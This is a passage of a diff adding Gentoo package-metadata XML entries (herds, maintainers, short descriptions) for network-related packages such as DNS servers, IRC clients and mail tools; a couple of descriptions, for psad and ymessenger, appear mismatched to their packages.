+<longdescription>The DNS Query tool is a program you can use to query Domain Name Servers for information. It can, at your choice, display the answer it receives as a raw DNS message or in a more human-readable format. This makes it a very useful tool for debugging DNS problems.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dns/ldapdns">
+<herd>no-herd</herd>
+<maintainer>
+  <email>jhhudso@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dns/mfedit">
+<herd>no-herd</herd>
+<maintainer>
+  <email>matsuu@gentoo.org</email>
+</maintainer>
+<longdescription>The Posadis Master File Editor is a graphical editor of DNS master files, the files used by many DNS servers (including Posadis and BIND) to store DNS zone data in. Using this editor, you can graphically maintain your zone data. The editor also features a syntax check which helps you avoid common mistakes.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dns/mydns">
+<maintainer>
+  <email>matsuu@gentoo.org</email>
+  <name>MATSUU Takuto</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dns/ndu">
+    <herd>no-herd</herd>
+    <maintainer>
+        <email>robbat2@gentoo.org</email>
+        <name>Robin H. Johnson</name>
+    </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dns/pdns">
+<herd>no-herd</herd>
+<maintainer>
+  <email>jhhudso@gentoo.org</email>
+  <name>Jared Hudson</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-dns/posadis">
+<herd>no-herd</herd>
+<maintainer>
+  <email>matsuu@gentoo.org</email>
+</maintainer>
+<longdescription>Posadis is a powerful Domain Name Server for various platforms. It can be an authoritive DNS server for your zones (it supports standard DNS master files, DNS Notify and zone transfers), but it can also speed up DNS resolution for your local network by acting as a caching DNS server.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-firewall/firestarter">
+<herd>gnome</herd>
+<maintainer>
+<email>mr_bones_@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-firewall/fwbuilder">
+<herd>no-herd</herd>
+<maintainer>
+  <email>aliz@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-firewall/ipkungfu">
+<herd>no-herd</herd>
+<maintainer>
+  <email>weeve@gentoo.org</email>
+  <name>Jason Wever</name>
+</maintainer>
+<longdescription>
+	ipkungfu is a nice iptables firewall script
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-firewall/iptables">
+<herd>no-herd</herd>
+<maintainer>
+  <email>aliz@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-firewall/psad">
+	<herd>hardened</herd>
+	<maintainer>
+		<email>hardened@gentoo.org</email>
+		<description>Bastille Currently Has No Primary Gentoo Maintainer</description>
+	</maintainer>
+	<longdescription>The Bastille Hardening System attempts to &quot;harden&quot; or &quot;tighten&quot; Unix operating systems.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-fs/autofs">
+<herd>no-herd</herd>
+<maintainer>
+  <email>rphillips@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-fs/coda-kernel">
+<herd>system-tools</herd>
+<maintainer>
+	<email>seemant@gentoo.org</email>
+	<name>Seemant Kulleen</name>
+	<description>through Michael C. Ferguson mcf@augustmail.com</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-fs/netatalk">
+<herd>no-herd</herd>
+<maintainer>
+  <email>zhen@gentoo.org</email>
+	<name>John Davis</name>
+	<description>Interim Maintainer</description>
+</maintainer>
+	<longdescription>kernel level implementation of the AppleTalk protocol suite</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-fs/openafs">
+<herd>no-herd</herd>
+<maintainer>
+  <email>rphillips@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-fs/samba">
+<herd>no-herd</herd>
+<maintainer>
+  <email>woodchip@gentoo.org</email>
+  <name>Donny Davies</name>
+</maintainer> 
+<longdescription>
+Samba is an Open Source/Free Software suite that provides seamless file and print services to SMB/CIFS clients. Samba is freely available under the GNU General Public License.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-ftp/curl">
+<herd>no-herd</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-ftp/gftp">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-ftp/gproftpd">
+  <herd>no-herd</herd>
+  <maintainer>
+    <email>blkdeath@gentoo.org</email>
+    <name>Stewart Honsberger</name>
+  </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-ftp/proftpd">
+  <herd>no-herd</herd>
+  <maintainer>
+    <email>blkdeath@gentoo.org</email>
+    <name>Stewart Honsberger</name>
+  </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-ftp/pure-ftpd">
+<herd>no-herd</herd>
+<maintainer>
+  <email>raker@gentoo.org</email>
+  <name>Nick Hadaway</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-ftp/tnftp">
+<herd>no-herd</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-ftp/vsftpd">
+<herd>no-herd</herd>
+<maintainer>
+  <email>rajiv@gentoo.org</email>
+  <name>Rajiv Manglani</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-im/aim">
+<herd>net-im</herd>
+<maintainer>
+<email>dberkholz@gentoo.org</email>
+<name>Donnie Berkholz</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-im/amsn">
+<herd>net-im</herd>
+<maintainer>
+  <email>tester@gentoo.org</email>
+  <name>Olivier Cr&#xEA;te</name> 
+</maintainer>
+<longdescription>Alvaro's Messenger client for MSN</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-im/ayttm">
+<herd>net-im</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-im/bitlbee">
+<herd>no-herd</herd>
+<maintainer>
+  <email>weeve@gentoo.org</email>
+  <name>Jason Wever</name>
+</maintainer>
+<longdescription>
+  Bitlbee as an IRC to IM gateway.  It provides an irc server that allows you
+  to log on and then connect to various instant messaging protocols (AIM, MSN,
+  Yahoo, Jabber, etc).
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-im/ekg">
+<herd>no-herd</herd>
+<maintainer>
+  <email>spock@o2.pl</email>
+  <name>Michal 'Spock' Januszewski</name>
+  <description>He's the third party maintainer through
+  seemant@gentoo.org</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-im/gaim">
+<herd>net-im</herd>
+<maintainer>
+    <email>gaim-bugs@gentoo.org</email>
+</maintainer>
+<longdescription>
+    Gaim is a multi-protocol instant messaging client for Linux, BSD, MacOS X, and Windows. It is compatible with AIM (Oscar and TOC protocols), ICQ, MSN Messenger, Yahoo, IRC, Jabber, Gadu-Gadu, and Zephyr networks. 
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-im/gnome-jabber">
+<herd>net-im</herd>
+<maintainer>
+  <email>tester@gentoo.org</email>
+  <name>Olivier Cr&#xEA;te</name> 
+</maintainer>
+<longdescription>Gnome Jabber Client</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-im/gnomeicu">
+<herd>net-im</herd>
+<herd>gnome</herd>
+<maintainer>
+  <email>tester@gentoo.org</email>
+  <name>Olivier Cr&#xEA;te</name> 
+  <description>GnomeICU upstream maintainer</description>
+</maintainer>
+<longdescription>Gnome ICQ Client</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-im/gnomemeeting">
+<herd>gnome</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-im/gossip">
+<herd>gnome</herd>
+<maintainer>
+	<email>spider@gentoo.org</email>
+</maintainer>
+<longdescription>
+Gossip is a Gnome integrated and HIG compliant jabber messaging client.    
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-im/imcom">
+<herd>no-herd</herd>
+<maintainer>
+  <email>lordvan@gentoo.org</email>
+  <name>Thomas Raschbacher</name>
+<!--  <description>Description of the maintainership</description> -->
+</maintainer>
+<!-- <longdescription>Long description of the package</longdescription> -->
+</pkgmetadata>
+<pkgmetadata pkgname="net-im/jabber-server">
+<herd>net-im</herd>
+<maintainer>
+  <email>luke-jr@gentoo.org</email>
+  <name>Luke-Jr</name>
+  <description>Maintaining this until someone else wants to maintain it (preferably someone who uses it)</description>
+</maintainer>
+<longdescription>This is the official Jabber server along with many different gateways to other IM protocols.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-im/kopete">
+<herd>kde</herd>
+<maintainer>
+  <email>lanius@gentoo.org</email>
+  <name>Heinrich Wendel</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-im/linphone">
+<herd>voip</herd>
+<maintainer>
+  <email>stkn@gentoo.org</email>
+  <name>Stefan Knoblich</name>
+  <description>voip herd will be taking care of this</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-im/micq">
+<herd>net-im</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-im/msnlib">
+<herd>python</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-im/ohphone">
+<herd>no-herd</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-im/openmcu">
+<herd>voip</herd>
+<maintainer>
+  <email>stkn@gentoo.org</email>
+  <name>Stefan Knoblich</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-im/sim">
+<herd>no-herd</herd>
+<maintainer>
+  <email>aliz@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-im/ymessenger">
+<maintainer><email>seemant@gentoo.org</email></maintainer>
+<longdescription>Xfree86: famous and free X server.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/asuka">
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/bitchx">
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/bnc">
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/ctrlproxy">
+<herd>net-irc</herd>
+<maintainer>
+  <email>agriffis@gentoo.org</email>
+  <name>Aron Griffis</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/cwirc">
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/cyclone">
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/dancer-ircd">
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/dccserver">
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/dircproxy">
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/echat">
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/eggdrop">
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/epic4">
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/ezbounce">
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/ircd-hybrid">
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/ircii">
+<herd>no-herd</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/ircmap">
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/irssi-charconv">
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/irssi-cvs">
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/irssi-recode">
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/irssi">
+<herd>net-irc</herd>
+<maintainer>
+	<email>gregf@gentoo.org</email>
+	<name>Greg Fitzgerald</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/konversation">
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/kvirc">
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/loqui">
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/lostirc">
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/muh">
+<herd>net-irc</herd>
+<maintainer>
+    <email>hhg@gentoo.org</email>
+    <name>Hallgrimur H. Gunnarsson</name>
+</maintainer>
+<longdescription>
+    Persistant IRC bouncer.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/ninja">
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/oer-mysql">
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/ptlink">
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/quirc">
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/rbot">
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/scrollz">
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/ultimate">
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/unrealircd">
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/vyqchat">
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/weechat">
+<herd>no-herd</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/xchat-systray">
+<maintainer><email>brad@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-irc/xchat">
+<herd>gnome</herd>
+<herd>net-irc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-libs/c-client">
+    <herd>net-mail</herd>
+    <maintainer>
+        <email>robbat2@gentoo.org</email>
+    </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-libs/gnet">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-libs/gnutls">
+<herd>no-herd</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-libs/libbo2k">
+<herd>no-herd</herd>
+<maintainer>
+  <email>lordvan@gentoo.org</email>
+  <name>Thomas Raschbacher</name>
+</maintainer>
+ <longdescription>Linux BO2K communication library.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-libs/libesmtp">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-libs/libfwbuilder">
+<herd>no-herd</herd>
+<maintainer>
+  <email>aliz@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-libs/libsoup">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-libs/libtlen">
+<herd>no-herd</herd>
+<maintainer>
+  <email>spock@stars.eu.org</email>
+  <name>Marcin Jurczuk</name>
+  <description>Indirectly maintaining through seemant@gentoo.org</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-libs/libwhisker">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="net-libs/libwww">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-libs/linc">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-libs/loudmouth">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-libs/openh323">
+<herd>voip</herd>
+<herd>gnome</herd>
+<maintainer>
+  <email>stkn@gentoo.org</email>
+  <name>Stefan Knoblich</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-libs/openhbci-plugin-ddvcard">
+<herd>no-herd</herd>
+<maintainer><email>hanno@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-libs/openhbci">
+<herd>gnome</herd>
+<maintainer><email>hanno@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-libs/soup">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/altermime">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/amavis">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/amavisd-new">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/anubis">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/archivemail">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/autorespond">
+<herd>net-mail</herd>
+<maintainer>
+  <email>robbat2@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/balsa">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/base64">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/bincimap">
+<herd>net-mail</herd>
+<maintainer>
+<email>nakano@gentoo.org</email>
+<name>Masatomo Nakano</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/bmf">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/bogofilter">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/checkpassword-pam">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/checkpassword">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/clamav">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/cmd5checkpw">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/cone">
+  <herd>no-herd</herd>
+  <maintainer>
+    <email>iggy@gentoo.org</email>
+    <name>Brian Jackson</name>
+    <description>Actively maintained</description>
+  </maintainer>
+  <longdescription>
+    COnsole Newsreader and Emailer
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/courier-imap">
+    <herd>net-mail</herd>
+    <maintainer>
+        <email>robbat2@gentoo.org</email>
+    </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/courier">
+  <herd>no-herd</herd>
+  <maintainer>
+    <email>iggy@gentoo.org</email>
+    <name>Brian Jackson</name>
+    <description>Actively maintained</description>
+  </maintainer>
+  <longdescription>Complete email package consisting of pop, imap, smtp, and fax
+      server and secure version of the above also
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/cvm-vmailmgr">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/cyrus-imap-admin">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/cyrus-imapd">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/cyrus-imspd">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/disspam">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/dot-forward">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/drac">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/elm">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/elmo">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/evolution">
+<herd>gnome</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/exim">
+<herd>net-mail</herd>
+<longdescription>
+Exim is a message transfer agent (MTA) developed at the University of Cambridge for use on Unix systems connected to the Internet. It is freely available under the terms of the GNU General Public Licence. In style it is similar to Smail 3, but its facilities are more general. There is a great deal of flexibility in the way mail can be routed, and there are extensive facilities for checking incoming mail. Exim can be installed in place of sendmail, although the configuration of exim is quite different to that of sendmail.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/exmh">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/ezmlm-idx-mysql">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/ezmlm-idx-pgsql">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/ezmlm-idx">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/ezmlm">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/f-prot">
+<herd>net-mail</herd>
+<maintainer><email>hanno@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/fastforward">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/fetchmail">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/fetchyahoo">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/gensig">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/getmail">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/gotmail">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/grepmail">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/hotwayd">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/imapfilter">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/kbiff">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/lbdb">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/mailbase">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/maildrop">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/mailfilter">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/mailfront">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/mailman">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/mailutils">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/mailx-support">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/mailx">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/mairix">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/mboxgrep">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/mess822">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/metamail">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/mhonarc">
+	<maintainer>
+		<email>kumba@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<herd>perl</herd>
+	<herd>net-mail</herd>
+	<longdescription>Perl Mai-to-HTML Convertor</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/mozilla-thunderbird-bin">
+<herd>net-mail</herd>
+<herd>mozilla</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/mozilla-thunderbird">
+<herd>net-mail</herd>
+<herd>mozilla</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/mpack">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/mutt">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/nail">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/nbsmtp">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/nmh">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/nullmailer">
+    <herd>net-mail</herd>
+    <maintainer>
+        <email>robbat2@gentoo.org</email>
+    </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/offlineimap">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/pine-maildir">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/pine">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/pinepgp">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/pop3vscan">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/popa3d">
+<herd>net-mail</herd>
+<maintainer>
+    <email>port001@gentoo.org</email>
+    <name>Ian Leitch</name>
+</maintainer>
+<maintainer>
+	<email>hhg@gentoo.org</email>
+	<name>Hallgrimur H. Gunnarsson</name>
+</maintainer>
+<longdescription>
+    A security oriented POP3 server.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/popfile">
+<herd>no-herd</herd>
+<maintainer>
+  <email>stuart@gentoo.org</email>
+  <name>Stuart Herbert</name>
+  <description>Maintainer</description> 
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/poppassd_pam">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/postfix">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/procmail">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/qmail-autoresponder">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/qmail-lint">
+<herd>net-mail</herd>
+<maintainer>
+  <email>robbat2@gentoo.org</email>
+  <name>Robin H. Johnson</name>
+  <description>Primary Maintainer</description>
+</maintainer>
+<longdescription>qmail-lint checks your qmail configuration for common
+    problems. Prints warning or error messages to stdout.  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/qmail-mysql">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/qmail-notify">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/qmail-pop3d">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/qmail-qsanity">
+<herd>net-mail</herd>
+<maintainer>
+  <email>robbat2@gentoo.org</email>
+  <name>Robin H. Johnson</name>
+  <description>Primary Maintainer</description>
+</maintainer>
+<longdescription>qmail-qsanity checks your queue data structures for internal
+    consistency. If it finds any problems, it prints a warning to stderr. Plans
+    are to change it to generate shell commands which will correct the
+    problems.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/qmail-scanner">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/qmail-sumo">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/qmail-vmailmgr">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/qmail">
+    <herd>net-mail</herd>
+    <maintainer>
+        <email>robbat2@gentoo.org</email>
+        <name>Robin H. Johnson</name>
+        <description>Maintainer until somebody better comes along</description>
+    </maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/qmailanalog">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/qmhandle">
+<herd>net-mail</herd>
+<maintainer>
+  <email>robbat2@gentoo.org</email>
+  <name>Robin H. Johnson</name>
+  <description>Primary Maintainer</description>
+</maintainer>
+<longdescription>qmHandle is a tool which can be used to manage the qmail
+    message queue. It's written in Perl (so fully customizable) and much more
+    powerful than qmail-qread and qmail-qstat. Key features are colored output
+    and the ability to view and delete messages in the queue.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/qpopper">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/qtools">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/queue-fix">
+<herd>net-mail</herd>
+<maintainer>
+  <email>robbat2@gentoo.org</email>
+  <name>Robin H. Johnson</name>
+  <description>Primary Maintainer</description>
+</maintainer>
+<longdescription>It repairs or generates a qmail queue structure. You can use
+    this to help move your queue location, or if you regenerate the file system
+    and the inode numbering changes. It will also fix permissions and
+    ownerships of the files.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/randomsig">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/razor">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/rblcheck">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/relay-ctrl">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/ripmime">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="net-mail/sendmail">
